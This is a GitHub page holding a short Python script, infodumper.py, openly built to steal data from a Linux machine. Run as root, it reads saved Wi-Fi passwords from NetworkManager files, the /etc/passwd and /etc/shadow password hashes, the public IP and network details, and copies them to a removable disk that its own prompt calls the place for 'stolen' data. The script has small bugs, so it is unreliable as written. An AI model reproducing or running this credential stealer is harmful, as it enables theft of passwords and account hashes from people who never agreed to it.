-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathinfodumper.py
72 lines (55 loc) · 2.14 KB
/
infodumper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import random
import socket
import subprocess
import os
if(os.getuid!=1000):
print("~~~~~~~~~~~~~~~~~~~~~~~~~~\nRun this command as sudo dummy.\n~~~~~~~~~~~~~~~~~~~~~~~~~")
quit()
else:
name=input("Enter the name of the user you are booting on: ")
disks_available=subprocess.check_output(["ls","/dev/disk/by-label"],encoding='utf-8')
disks_available=disks_available.split("\n")
disks_available.remove("")
print(disks_available)
go=True
while go:
try:
print("Choose from the following disks to paste stolen the data to: ")
count=[]
for disks in range(len(disks_available)):
print(f"[{disks+1}.] {disks_available[disks]}\n")
count.append(disks+1)
disk=int(input("--> "))
if(disk in count):
go=False
disk_name=disks_available[disk-1]
print(f"Driver to copy selected: {disk}")
else:
print("Please select a number between 1 and 3")
go=True
except:
print("Select the correct option.\n\n")
go=True
list_dir=subprocess.check_output("ls /etc/NetworkManager/system-connections".split(), encoding='utf-8')
ssids=list_dir.split('\n')
ssids.remove('')
wifi_password=""
for ssid in ssids:
wifi_password=subprocess.check_output(["cat",f"/etc/NetworkManager/system-connections/{ssid}"], encoding='utf-8')
wifi_passwords=wifi_password+"\n"
passwd=subprocess.check_output(["cat","/etc/passwd"],encoding='utf-8')
encrypted=subprocess.check_output(["cat","/etc/shadow"], encoding='utf-8')
try:
ip=requests.get("https://api.ipify.org", timeout=10)
except:
ip="Either not connected to the internet or connection too slow."
ifconfig=subprocess.check_output(["ifconfig"], encoding='utf-8')
name_random=random.choice(["alpha","beta","gamma"])
name_num=random.randrange(10*2,10**3)
name_of_txt=f"data{name_random}{name_num}"
os.chdir(f"/media/{name}/{disk_name}")
f=open(f"{name_of_txt}.txt",'w+')
f.write(f"Wi-Fi Passwords:\n\n{wifi_passwords}\n\n\nAccount Information and Password Hashes(from /etc/passwd and /etc/shadow:\n\n {passwd}\n\n{encrypted}\n\nPublic IP Address of the computer:{ip.text}\n\nifconfig output: {ifconfig}\n\nHostname: {socket.gethostname()}")
f.close()
print("Done.")